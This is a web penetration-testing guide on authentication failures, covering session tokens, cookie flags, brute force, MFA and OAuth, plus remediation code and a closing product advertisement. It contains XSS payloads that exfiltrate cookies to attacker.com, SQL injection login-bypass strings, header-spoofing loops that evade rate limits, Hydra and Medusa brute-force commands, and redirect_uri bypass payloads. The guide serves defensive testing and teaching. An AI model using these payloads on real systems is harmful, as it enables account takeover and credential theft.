Broken Authentication Testing: Session Management, Tokens, and Credential Security
Authentication is the first gate every attacker tries to bypass. It is also one of the most consistently misimplemented controls in web applications, which is precisely why OWASP elevated Identification and Authentication Failures to A07 in the 2021 Top 10 — and why real-world breaches continue to trace back to weak session tokens, missing cookie flags, and credential stuffing that went undetected for months.
This guide walks through the complete authentication testing methodology: how to enumerate session token quality, test for fixation and hijacking vectors, probe bypass conditions, hammer brute-force controls, and audit the full token lifecycle from issuance to invalidation. Every technique is paired with the tooling that makes it repeatable at scale.
OWASP A07:2021 — Identification and Authentication Failures
OWASP A07:2021 consolidates what was previously called "Broken Authentication" (A02:2017) with broader identity failures. The category covers a wide surface: weak credential policies, missing MFA, predictable session tokens, improper session invalidation, default credentials left in place, and the failure to defend against automated credential attacks.
The most common root causes are:
- Session tokens generated with insufficient entropy, making them predictable or brute-forceable
- Sessions that survive logout, password change, or privilege escalation events
- Missing cookie security attributes that expose tokens to theft via XSS or network interception
- No detection or throttling of credential stuffing and brute-force attempts
- Authentication logic that can be bypassed by manipulating request parameters or injecting into login queries
- Multi-step authentication flows where intermediate state is not securely validated
The business impact is account takeover — and depending on what that account controls, the blast radius ranges from a single user's data to a complete administrative compromise.
Session Token Analysis: Entropy, Predictability, and Length
The foundational test is session token quality. A session token is only as secure as the randomness behind it. Tokens generated from weak entropy sources, sequential identifiers, or time-based seeds can be predicted or enumerated by an attacker.
Collecting a Token Sample
Start by collecting a statistically significant sample of tokens from the login endpoint. You need at least 200-500 tokens to draw meaningful conclusions about entropy and patterns. Use Burp Suite's Sequencer for this — it was built exactly for this task:
- Proxy the login request through Burp Suite
- Right-click the response in Proxy history and select Send to Sequencer
- Define the token location in the response (cookie value, response body field, or header)
- Start the live capture — Burp will repeatedly re-issue the login request and collect tokens
- After 200+ tokens, run the analysis to get FIPS 140-2 randomness test results and bit-level entropy measurements
Burp's Sequencer reports effective entropy in bits. A cryptographically secure session token should have at minimum 128 bits of effective entropy. Tokens scoring below 64 bits are practically attackable; tokens below 32 bits are trivially enumerable. The analysis will also show character-level patterns — if certain positions in the token have significantly lower entropy, that indicates structure you can exploit.
Manual Token Pattern Analysis
# Collect tokens via curl in a loop and look for patterns manually
for i in $(seq 1 20); do
curl -s -i -X POST https://target.com/login \
-d "username=testuser&password=Testpass1!" \
| grep -i "set-cookie:" | grep -oP 'SESSIONID=[^;]+' | cut -d= -f2
done
# Decode base64-encoded tokens to inspect raw content
echo "dXNlcl9pZD0xMjM0JnRzPTE2OTg3NjU0MzI=" | base64 -d
# Output: user_id=1234&ts=1698765432 <-- CRITICAL: predictable, user-controlled data
Common red flags in manual analysis:
- Tokens that decode to plaintext user identifiers, timestamps, or role names
- Tokens with a constant prefix followed by variable content (reduces effective entropy space)
- Tokens that increment monotonically — session ID 1001 followed by 1002
- Tokens that are clearly hex-encoded Unix timestamps
- Tokens shorter than 128 bits (16 bytes / 32 hex characters)
Token Length and Character Set
Minimum acceptable token parameters for a session identifier:
| Parameter | Minimum | Recommended |
|---|---|---|
| Effective entropy | 128 bits | 256 bits |
| Token length (hex) | 32 characters | 64 characters |
| Token length (base64url) | 24 characters | 43 characters |
| CSPRNG source | OS entropy pool | OS entropy pool |
| Predictability | No detectable bias | Passes FIPS 140-2 tests |
Session Fixation Vulnerabilities
Session fixation occurs when an application accepts a session token that was set before authentication and does not issue a new token after the user logs in successfully. The attack flow is:
- Attacker visits the application and receives (or sets) a known session token, e.g.,
PHPSESSID=attacker_known_value - Attacker tricks the victim into authenticating using that same token — via a crafted URL like
https://target.com/login?PHPSESSID=attacker_known_value - Victim authenticates successfully. Application elevates the existing session to authenticated status
- Attacker, who already knows the token value, can now use it to access the victim's authenticated session
Testing for Session Fixation
# Step 1: Get a pre-authentication session token
PRE_AUTH_TOKEN=$(curl -s -i https://target.com/ | grep -i 'set-cookie:' | grep -oP 'PHPSESSID=[^;]+' | cut -d= -f2)
echo "Pre-auth token: $PRE_AUTH_TOKEN"
# Step 2: Use that token to authenticate
curl -s -i -X POST https://target.com/login \
-H "Cookie: PHPSESSID=$PRE_AUTH_TOKEN" \
-d "username=testuser&password=Testpass1!" \
| grep -i "set-cookie:"
# Step 3: Check the response
# VULNERABLE: Set-Cookie header absent, or returns the same PHPSESSID value
# SECURE: Set-Cookie with a new, different session token value
The critical check: does the application issue a new session token in the login response? If the Set-Cookie header is absent, or if it sets the same value that was already present, the application is vulnerable to session fixation.
?jsessionid= in older Java frameworks). If this is accepted and not rotated on login, an attacker can embed the token in a link and the victim's entire session can be hijacked by sharing that link.
# Test whether the application accepts session tokens via URL parameter
curl -s -i "https://target.com/dashboard?PHPSESSID=fixated_known_value" \
-c /dev/null # No cookies from browser storage, using URL param only
# If the application returns a 200 with authenticated content — URL fixation confirmed
Session Hijacking Attack Paths
Session hijacking is the theft and subsequent reuse of a legitimate session token. Understanding the vectors helps both offense and defense.
XSS-Based Token Theft
If an application is vulnerable to reflected or stored XSS and the session cookie lacks the HttpOnly flag, JavaScript can read and exfiltrate the token:
<!-- Classic document.cookie exfiltration via XSS -->
<script>
new Image().src = "https://attacker.com/c?" + encodeURIComponent(document.cookie);
</script>
<!-- More covert: beacon API to avoid triggering image load events -->
<script>
navigator.sendBeacon("https://attacker.com/c", document.cookie);
</script>
During testing, use your own controlled server or Burp Collaborator to verify the exfiltration path without needing a real XSS sink. The presence of a stored XSS vulnerability combined with a session cookie missing HttpOnly is a critical finding requiring two separate entries in your report.
Network Interception
Cookies transmitted over HTTP (no TLS) or set without the Secure flag can be intercepted on the network. Even on TLS-enforced sites, if the application includes a single HTTP page (including HTTP redirects), a network attacker can intercept the first request before the redirect fires and capture the cookie.
# Verify whether the Secure flag is set on session cookies
curl -s -i -X POST https://target.com/login \
-d "username=test&password=Test1!" \
| grep -i "set-cookie:"
# Secure cookie (correct):
# Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Strict
# Insecure cookie (vulnerable to network theft):
# Set-Cookie: session=abc123; Path=/
Session Token in Server Logs and Referrer Headers
If session tokens appear in URLs (either as query parameters or as part of path segments), they will be captured in web server access logs, proxy logs, and browser history — and may leak via the Referer header when a user clicks an external link from an authenticated page:
# Test for token-in-URL patterns
# Look for authenticated endpoints where the session identifier appears in the URL
curl -v "https://target.com/dashboard?session_id=abc123&user=1234"
# Check whether the Referer header would expose the token to external sites
# If the user clicks an external link from https://target.com/profile?token=abc,
# the Referer header sent to the external site would include the token
Insecure Cookie Attributes
Cookie security flags are the first and cheapest line of defence for session tokens. Missing flags are simple to test and frequently found even in production applications.
Testing All Cookie Security Attributes
# Parse all Set-Cookie headers from a login response
curl -s -i -X POST https://target.com/login \
-d "username=user&password=Pass1!" \
| grep -i "set-cookie:" | tee /tmp/cookies.txt
# Check each cookie for required flags
python3 - <<'EOF'
import re, sys
cookies_raw = open("/tmp/cookies.txt").readlines()
for line in cookies_raw:
line = line.strip()
if not line:
continue
name = line.split("Set-Cookie:")[1].strip().split("=")[0].strip()
flags = {
"Secure": "Secure" in line,
"HttpOnly": "HttpOnly" in line,
"SameSite": "SameSite=" in line,
"SameSite-Value": re.search(r"SameSite=(\w+)", line, re.I).group(1) if re.search(r"SameSite=(\w+)", line, re.I) else "MISSING",
"Path": "/" in line,
}
print(f"\nCookie: {name}")
for k, v in flags.items():
status = "OK" if v else "MISSING"
print(f" {k}: {v} [{status}]")
EOF
The minimum required attributes for any session or authentication cookie:
| Attribute | Purpose | Impact if Missing |
|---|---|---|
Secure |
Cookie only sent over HTTPS | Token exposed on HTTP connections, network interception |
HttpOnly |
JavaScript cannot read the cookie | XSS attacks can steal session tokens |
SameSite=Strict |
Cookie not sent in cross-site requests | CSRF attacks can make authenticated requests |
Path=/ |
Scopes cookie to application root | Other paths on same domain can access the cookie |
Domain (restrict) |
Limit cookie to specific hostname | Subdomains inherit the cookie if set to parent domain |
SameSite=None. Per RFC, this requires the Secure attribute. Browsers will reject the cookie if Secure is absent, but some older browser versions do not enforce this, creating an inconsistent security boundary.
"Remember Me" Token Vulnerabilities
Persistent login tokens — the "Remember Me" checkbox — are a separate and often weaker token family from session cookies. They need to survive browser restarts, which means they must be stored persistently and have long lifetimes. This makes their security properties critically important.
Common Remember-Me Weaknesses
Predictable token construction is the most critical finding. Some implementations generate remember-me tokens as base64(username:password_hash) or md5(username + timestamp) — both are trivially guessable once the construction is understood.
# Test whether a remember-me token encodes user-controlled data
# Collect the token after login with "remember me" checked
REMEMBER_TOKEN=$(curl -s -i -X POST https://target.com/login \
-d "username=testuser&password=Test1!&remember=1" \
| grep -i "remember_token\|persistent\|longterm" \
| grep -oP '=[^;]+' | head -1 | tr -d '=')
# Decode from base64
echo "$REMEMBER_TOKEN" | base64 -d 2>/dev/null
# Decode from hex
echo "$REMEMBER_TOKEN" | xxd -r -p 2>/dev/null | cat
# Test token reuse: does the same token work from a different IP/user-agent?
curl -s -i https://target.com/dashboard \
-H "Cookie: remember_token=$REMEMBER_TOKEN" \
-H "User-Agent: Mozilla/5.0 (Attacker Machine)"
Excessive token lifetime is a separate concern. Remember-me tokens have legitimate use cases, but a token valid for years is effectively a permanent backdoor. Test the expiry:
# Check the Expires or Max-Age attribute on the persistent cookie
curl -s -i -X POST https://target.com/login \
-d "username=testuser&password=Test1!&remember=1" \
| grep -i "set-cookie:" | grep -i "expires\|max-age"
# Parse Max-Age to days
# Max-Age=2592000 = 30 days (acceptable)
# Max-Age=31536000 = 365 days (excessive for most applications)
# Max-Age=315360000 = 10 years (almost certainly a defect)
Token invalidation on logout is frequently missed. Log out, then test whether the remember-me token still authenticates:
# Step 1: Login and capture the remember-me cookie
REMEMBER=$(curl -s -i -X POST https://target.com/login \
-d "remember=1&username=testuser&password=Test1!" \
-c /tmp/cookies.jar | grep remember_token | awk '{print $NF}')
# Step 2: Perform logout
curl -s -i -X POST https://target.com/logout \
-b /tmp/cookies.jar
# Step 3: Attempt to re-authenticate using ONLY the remember-me token
# (no session cookie — that was cleared by logout)
curl -s -i https://target.com/dashboard \
-H "Cookie: remember_token=$REMEMBER"
# If the response is 200 with authenticated content, the token survived logout
The secure implementation uses a database-backed token table: each remember-me token is a random 256-bit value stored with a server-side hash, associated with a specific user and device fingerprint, and invalidated immediately on logout, password change, or explicit revocation from a "sessions" management page.
Authentication Bypass Techniques
Authentication can often be bypassed without touching the session layer at all — by subverting the login logic itself.
SQL Injection in Login Forms
SQL injection at the login endpoint remains effective when login queries are constructed via string concatenation rather than parameterized queries. Classic test payloads:
# Classic OR-based bypass
username: admin'--
password: anything
# Targets a query like:
# SELECT * FROM users WHERE username='$user' AND password='$pass'
# Becomes: SELECT * FROM users WHERE username='admin'--' AND password='anything'
# The -- comments out the password check
# Alternative payloads
username: ' OR '1'='1
username: ' OR 1=1--
username: admin'/*
password: */OR/**/1=1--
# Test using sqlmap against the login endpoint
sqlmap -u "https://target.com/login" \
--data="username=test&password=test" \
--level=3 --risk=2 \
--string="Welcome" \
--technique=B \
--dbms=mysql
Parameter Manipulation and Mass Assignment
Some applications pass user role or authentication status as form parameters or JSON body fields that are trusted without server-side validation:
# Test adding role/admin parameters to login POST body
curl -s -i -X POST https://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"Test1!","role":"admin","is_admin":true}'
# Test adding admin flags to the session after login
curl -s -i -X POST https://target.com/profile/update \
-H "Cookie: session=valid_session" \
-d "username=testuser&email=test@example.com&is_admin=1"
# Test manipulating the authentication response from an API
# Some SPAs trust a JSON authentication response including role fields;
# if those fields are reflected into localStorage without server validation,
# they can be manipulated client-side
Default and Hardcoded Credentials
Test all administrative interfaces, default installation pages, and vendor-documented credential lists. Common targets: admin panels (/admin, /administrator, /wp-admin, /manager), framework defaults, and database management interfaces left exposed.
# Use a curated default credentials list
hydra -L /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt \
-P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt \
https://target.com http-post-form \
"/admin/login:username=^USER^&password=^PASS^:Invalid credentials" \
-t 4 -f
# Check for admin panel exposure with common paths
for path in admin administrator wp-admin manager console panel; do
code=$(curl -s -o /dev/null -w "%{http_code}" https://target.com/$path/)
echo "$path: $code"
done
Password Policy Testing
Password policies create the floor under which user credentials cannot fall. A weak policy directly enables brute-force attacks. Test the effective policy by attempting to set passwords that violate expected security requirements:
# Test minimum length enforcement
curl -s -i -X POST https://target.com/register \
-d "username=testuser99&password=a&confirm_password=a"
# Test complexity requirements — try each weak pattern
for pw in "password" "123456" "abc" "Password" "Password1"; do
echo -n "Testing '$pw': "
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com/register \
-d "username=testuser99&password=$pw&confirm_password=$pw"
echo ""
done
# Test whether password change enforces the same policy
curl -s -i -X POST https://target.com/account/change-password \
-H "Cookie: session=valid_session" \
-d "current_password=OldPass1!&new_password=a&confirm_password=a"
Beyond minimum length and complexity, document whether the application:
- Enforces a maximum password length (truncating silently at a low limit is a finding)
- Prohibits or checks against known-breached passwords (HaveIBeenPwned API, common password lists)
- Prevents password reuse for the last N passwords
- Accepts the username as a password substring
Account Lockout and Brute-Force Protection Testing
Brute-force protection is testable systematically. The controls to verify are: lockout threshold, lockout duration, lockout scope, IP-based rate limiting, CAPTCHA, and detection alerting.
Testing Lockout Threshold
# Use Burp Suite Intruder with a null payload on the password field
# to send the same username with incrementally different passwords
# and observe when the response changes (locked out)
# Or use a custom script to count attempts until lockout
for i in $(seq 1 20); do
RESPONSE=$(curl -s -i -X POST https://target.com/login \
-d "username=victim@example.com&password=WrongPass$i")
STATUS=$(echo "$RESPONSE" | grep -i "HTTP/" | head -1 | awk '{print $2}')
BODY_HINT=$(echo "$RESPONSE" | grep -ioE "locked|throttl|too many|wait|captcha" | head -1)
echo "Attempt $i: HTTP $STATUS | $BODY_HINT"
done
Record at what attempt count the application changes its response: does it lock the account, add a CAPTCHA, slow responses, or silently continue accepting guesses? If no change occurs after 20 failed attempts, the application likely has no brute-force protection.
Testing IP-Based Rate Limiting Bypass
IP-based rate limiting is often bypassable through header manipulation when the application trusts forwarded-for headers:
# Test whether X-Forwarded-For spoofing bypasses IP rate limits
for i in $(seq 1 50); do
curl -s -i -X POST https://target.com/login \
-H "X-Forwarded-For: 10.0.$((RANDOM % 255)).$((RANDOM % 255))" \
-H "X-Real-IP: 192.168.$((RANDOM % 255)).$((RANDOM % 255))" \
-d "username=admin@target.com&password=Attempt$i" \
| grep -i "HTTP/\|locked\|invalid\|captcha" | head -1
done
# Common bypass headers to test
# X-Forwarded-For
# X-Real-IP
# X-Originating-IP
# X-Remote-IP
# X-Remote-Addr
# CF-Connecting-IP
Hydra and Medusa for Brute-Force Validation
# Hydra against HTTP form-based login
hydra -l admin@target.com \
-P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
https://target.com https-post-form \
"/login:email=^USER^&password=^PASS^:Invalid email or password" \
-t 4 -w 3 -f -V
# Medusa for HTTP POST
medusa -u admin@target.com \
-P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt \
-h target.com -M http \
-m DIR:/login -m FORM:"email=&password=" \
-m DENY-SIGNAL:"Invalid credentials" \
-t 2 -f
# Test with Burp Suite Intruder using cluster bomb attack type
# for username enumeration combined with password guessing
Username Enumeration via Response Differences
A subtle but important test: do failed login responses differ based on whether the username exists? Enumeration via distinct error messages ("Username not found" vs. "Incorrect password") or via response timing gives attackers a list of valid usernames to attack.
# Compare response timing and content for valid vs. invalid usernames
# Known-valid user
time curl -s -X POST https://target.com/login \
-d "username=existing@target.com&password=WrongPass1!" -o /dev/null
# Known-invalid user
time curl -s -X POST https://target.com/login \
-d "username=doesnotexist99@invalid.com&password=WrongPass1!" -o /dev/null
# Compare response body hashes
curl -s -X POST https://target.com/login \
-d "username=existing@target.com&password=WrongPass1!" | md5sum
curl -s -X POST https://target.com/login \
-d "username=doesnotexist99@invalid.com&password=WrongPass1!" | md5sum
If the timing differs by more than ~50ms consistently, or if response bodies differ in content (not just session IDs), username enumeration is present. This should be reported as a medium finding that amplifies the brute-force risk.
Multi-Step Authentication Flow Vulnerabilities
Multi-step login flows — step 1: username, step 2: password, step 3: MFA code — introduce state management vulnerabilities that don't exist in single-step forms.
Step Skipping and Direct Object Reference
The most common finding: step 2 or step 3 does not verify that steps 1 and 2 were actually completed. An attacker who can observe the step-transition URL can jump directly to the final step:
# Normal flow: /login/step1 -> /login/step2?user=victim -> /login/step3?token=mfa
# Attack: directly request step3 with a known user identifier
# Step 1: complete normally with your own account, observe step3 URL
# Step 2: substitute the victim's user ID into the step3 request
curl -s -i "https://target.com/login/step3" \
-H "Cookie: session=your_step1_session" \
-d "user_id=victim_id&mfa_bypass=true"
# Also test whether step 2 can be reached without a valid step 1 token
curl -s -i "https://target.com/login/step2" \
-d "username=admin@target.com"
# If it proceeds to ask for a password without requiring the step1 CSRF token, steps aren't linked
Incomplete MFA Validation
When MFA is enforced, test whether the post-MFA session token is only issued after the MFA step, or whether a session with elevated privileges is already accessible after step 1 (username/password) before MFA is completed:
# After completing username+password, capture the intermediate session token
PARTIAL_SESSION=$(curl -s -i -X POST https://target.com/login \
-d "username=testuser&password=Test1!" \
| grep "set-cookie:" | grep session | awk '{print $2}')
# Without submitting the MFA code, try to access an authenticated resource
curl -s -i https://target.com/dashboard \
-H "Cookie: $PARTIAL_SESSION"
# Also test: does submitting an incorrect MFA code still eventually grant access?
for code in 000000 111111 123456 999999; do
echo "Testing MFA code $code:"
curl -s -i -X POST https://target.com/login/mfa \
-H "Cookie: $PARTIAL_SESSION" \
-d "code=$code" | grep "HTTP/" | head -1
done
OAuth and SSO Misconfiguration
OAuth 2.0 and SSO integrations introduce a new category of authentication bypass at the protocol level. The most common vulnerabilities are redirect_uri validation failures and missing state parameter (CSRF protection).
redirect_uri Bypass
# Baseline: observe the legitimate redirect_uri in the authorization request
# https://auth.provider.com/oauth/authorize?
# client_id=app123&
# redirect_uri=https://target.com/oauth/callback&
# response_type=code&
# state=xyz
# Test 1: Open redirect via path traversal in redirect_uri
https://auth.provider.com/oauth/authorize?
client_id=app123&
redirect_uri=https://target.com/oauth/callback/../../../attacker.com&
response_type=code&state=xyz
# Test 2: Subdomain matching abuse (if provider uses startsWith validation)
redirect_uri=https://target.com.attacker.com/oauth/callback
# Test 3: Query string injection
redirect_uri=https://target.com/oauth/callback?next=https://attacker.com
# Test 4: Fragment confusion
redirect_uri=https://target.com/oauth/callback%23@attacker.com
# Test 5: URI scheme confusion
redirect_uri=https://target.com/oauth/../attacker.com/callback
A successful redirect_uri bypass allows an attacker to receive the authorization code intended for the legitimate application, then exchange it for an access token against the legitimate application — effectively stealing the victim's OAuth-mediated session.
Missing State Parameter (OAuth CSRF)
# Check whether state parameter is present and validated
# Step 1: Start OAuth flow, observe the state parameter
# Step 2: Initiate a second OAuth flow from a different session
# Step 3: Use the callback URL from step 1 (with code from step 1)
# in the session from step 2
# If the application processes it, state is not validated
# Automated check: initiate flow without state
curl -v "https://auth.provider.com/oauth/authorize?\
client_id=app123&\
redirect_uri=https://target.com/oauth/callback&\
response_type=code"
# Note: no state= parameter
# If the provider accepts this without error, state is optional — OAuth CSRF is possible
Token Lifecycle: Creation, Rotation, and Invalidation
A complete session management audit must verify the entire token lifecycle, not just the initial issuance. Tokens that survive events where they should be invalidated are a persistent risk even when initially strong.
Token Rotation Events to Test
| Event | Expected Behaviour | Common Failure |
|---|---|---|
| Successful login | New token issued, pre-auth token invalidated | Pre-auth token elevated (fixation) |
| Privilege escalation (sudo) | New token with elevated claim issued | Same session token with privilege flag added client-side |
| Password change | All existing sessions invalidated | Old sessions remain valid (allows attacker retention) |
| Explicit logout | Session token invalidated server-side | Cookie deleted client-side only; server still accepts token |
| Account locked | Active sessions terminated immediately | Active sessions survive until natural expiry |
| MFA added/changed | All sessions except current invalidated | No session invalidation triggered |
# Test: does logout actually invalidate the session server-side?
# Step 1: Login and capture session token
SESSION=$(curl -s -i -X POST https://target.com/login \
-d "username=testuser&password=Test1!" \
| grep "set-cookie:" | grep -oP 'session=[^;]+')
# Step 2: Logout
curl -s -i -X POST https://target.com/logout \
-H "Cookie: $SESSION"
# Step 3: Attempt to use the now-"logged out" session
curl -s -i https://target.com/dashboard \
-H "Cookie: $SESSION" \
| head -20
# If the application returns authenticated content — server-side invalidation is missing
# Test: does password change invalidate other concurrent sessions?
# Terminal A: Login as testuser, capture session A
# Terminal B: Login as testuser from a different location, capture session B
# Change password in terminal A's session
curl -s -i -X POST https://target.com/account/change-password \
-H "Cookie: $SESSION_A" \
-d "current_password=OldPass1!&new_password=NewPass2!&confirm=NewPass2!"
# Test session B (should now be invalid)
curl -s -i https://target.com/dashboard \
-H "Cookie: $SESSION_B" \
| grep "HTTP/" | head -1
Testing Tools Reference
Burp Suite Intruder for Credential Attacks
Burp Suite Intruder is the primary tool for controlled credential-based attacks during a pentest. The key configurations:
- Sniper: Single payload set against one parameter position. Use for password-only brute force against a known username.
- Cluster Bomb: Two independent payload sets, full Cartesian product. Use for username enumeration combined with a short password list.
- Pitchfork: Two payload sets iterated in parallel. Use for credential stuffing where username and password pairs come from the same leaked dataset.
Configure Intruder resource pool settings to throttle requests (1 concurrent request, 500ms delay) to avoid triggering lockout mechanisms during testing. Use Grep - Match on the response to flag successful logins by their distinct body string.
Hydra
# HTTP Basic Authentication
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt \
https://target.com http-get "/admin/"
# HTTP form POST with CSRF token handling (use Burp to pre-extract CSRF token)
hydra -l admin@target.com -P wordlist.txt \
https://target.com https-post-form \
"/login:_token=CSRF_TOKEN&email=^USER^&password=^PASS^:These credentials do not match" \
-t 1 -w 2
Custom Python Scripts for Token Analysis
#!/usr/bin/env python3
"""Collect session tokens and perform basic entropy analysis."""
import requests, hashlib, statistics, base64, string
TARGET = "https://target.com/login"
CREDS = {"username": "testuser", "password": "Test1!"}
COOKIE_NAME = "session"
SAMPLES = 100
tokens = []
session = requests.Session()
for _ in range(SAMPLES):
r = session.post(TARGET, data=CREDS, allow_redirects=False)
if COOKIE_NAME in r.cookies:
tokens.append(r.cookies[COOKIE_NAME])
session.cookies.clear()
if not tokens:
print("No tokens collected — check cookie name")
exit(1)
print(f"Collected {len(tokens)} tokens")
print(f"Token lengths: min={min(len(t) for t in tokens)}, max={max(len(t) for t in tokens)}")
# Check uniqueness
unique = len(set(tokens))
print(f"Unique tokens: {unique}/{len(tokens)} ({'OK' if unique == len(tokens) else 'CRITICAL: DUPLICATES FOUND'})")
# Character frequency analysis — look for biased positions
if all(len(t) == len(tokens[0]) for t in tokens):
token_len = len(tokens[0])
for pos in range(token_len):
chars_at_pos = [t[pos] for t in tokens]
most_common = max(set(chars_at_pos), key=chars_at_pos.count)
freq = chars_at_pos.count(most_common) / len(tokens)
if freq > 0.5:
print(f" BIAS at position {pos}: '{most_common}' appears {freq:.1%} of the time")
# Common prefix detection
common_prefix = ""
for i in range(len(tokens[0])):
if all(t[i] == tokens[0][i] for t in tokens):
common_prefix += tokens[0][i]
else:
break
if common_prefix:
print(f"Common prefix detected: '{common_prefix}' ({len(common_prefix)} chars)")
Documenting Authentication Findings
Authentication findings require precise documentation because the same vulnerability (e.g., no server-side session invalidation) can have very different severity depending on what the application does. Structure each finding as follows:
Finding Structure Template
| Field | Content |
|---|---|
| Title | Specific and non-generic: "Session Token Not Invalidated on Logout at /api/auth/logout" |
| Severity | CVSS v3.1 score with vector string. Credential bypass typically 9.8; missing HttpOnly flag ~6.1 |
| Description | Technical explanation of the vulnerability mechanism (2-4 sentences) |
| Evidence | Exact HTTP request/response proving the vulnerability — never paraphrase, show the raw traffic |
| Impact | Specific business impact: "An attacker who steals a session token via XSS retains access even after the victim logs out" |
| Remediation | Specific code-level fix with framework context where possible |
| References | OWASP ASVS control IDs, CWE numbers, CVE if applicable |
Always include raw HTTP evidence using Burp Suite's "Copy as curl command" or "Save item" export. A screenshot of a successful login with a stolen token is the most persuasive artifact for clients who push back on authentication findings.
Remediation: Secure Session Management Best Practices
The remediation guidance must be specific enough to implement. Generic advice ("use secure sessions") is not actionable. Here is implementation-level guidance organized by control:
Token Generation
# Python — use secrets module (cryptographically secure)
import secrets
session_token = secrets.token_urlsafe(32) # 256 bits of entropy, URL-safe base64
# Node.js — use crypto module
const crypto = require('crypto');
const sessionToken = crypto.randomBytes(32).toString('hex'); // 256 bits
# Java — use SecureRandom
import java.security.SecureRandom;
import java.util.Base64;
SecureRandom sr = new SecureRandom();
byte[] token = new byte[32];
sr.nextBytes(token);
String sessionToken = Base64.getUrlEncoder().withoutPadding().encodeToString(token);
# PHP — use random_bytes (PHP 7+)
$sessionToken = bin2hex(random_bytes(32)); // 256 bits, hex-encoded
Cookie Configuration
# Python / Django
SESSION_COOKIE_SECURE = True # Secure flag
SESSION_COOKIE_HTTPONLY = True # HttpOnly flag
SESSION_COOKIE_SAMESITE = 'Strict' # SameSite=Strict
SESSION_COOKIE_AGE = 3600 # 1 hour absolute expiry
# Node.js / Express with express-session
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: true, // Secure flag
httpOnly: true, // HttpOnly flag
sameSite: 'strict', // SameSite=Strict
maxAge: 3600000 // 1 hour
}
}));
# Set-Cookie header (raw)
Set-Cookie: session=TOKEN; Path=/; HttpOnly; Secure; SameSite=Strict; Max-Age=3600
Session Lifecycle Management
# Python — invalidate all sessions for a user on password change
# Using Django's session framework with custom user model
from django.contrib.sessions.backends.db import SessionStore
from django.contrib.sessions.models import Session
def invalidate_all_user_sessions(user_id):
"""Invalidate all sessions belonging to a specific user."""
sessions = Session.objects.filter(expire_date__gte=timezone.now())
for session in sessions:
data = session.get_decoded()
if data.get('_auth_user_id') == str(user_id):
session.delete()
# Call this on password change, account compromise, or admin-forced logout
invalidate_all_user_sessions(request.user.id)
Brute-Force Protection
# Redis-backed rate limiting (Python)
import redis
import time
r = redis.Redis(host='localhost', port=6379, db=0)
def check_login_rate_limit(ip: str, username: str) -> bool:
"""Returns True if the attempt is allowed, False if rate-limited."""
# Per-IP limit: 20 attempts per 15 minutes
ip_key = f"login:ip:{ip}"
# Per-username limit: 10 attempts per 15 minutes (prevents enumeration-bypass)
user_key = f"login:user:{username}"
pipe = r.pipeline()
pipe.incr(ip_key)
pipe.expire(ip_key, 900) # 15 minutes
pipe.incr(user_key)
pipe.expire(user_key, 900)
results = pipe.execute()
ip_count, _, user_count, _ = results
if ip_count > 20 or user_count > 10:
return False
return True
Authentication weaknesses — predictable session tokens, missing cookie flags, absent server-side invalidation, and exposed brute-force surfaces — are among the highest-impact findings in any web application assessment. They are also among the most consistently missed in self-assessment because they require both protocol-level knowledge and the right tooling to surface.
Ironimo automatically tests your application's authentication layer: session token entropy, cookie attribute completeness, session invalidation behaviour, and brute-force control effectiveness. You get the findings professional pentesters look for, without the invoice that comes with them.
Start free scan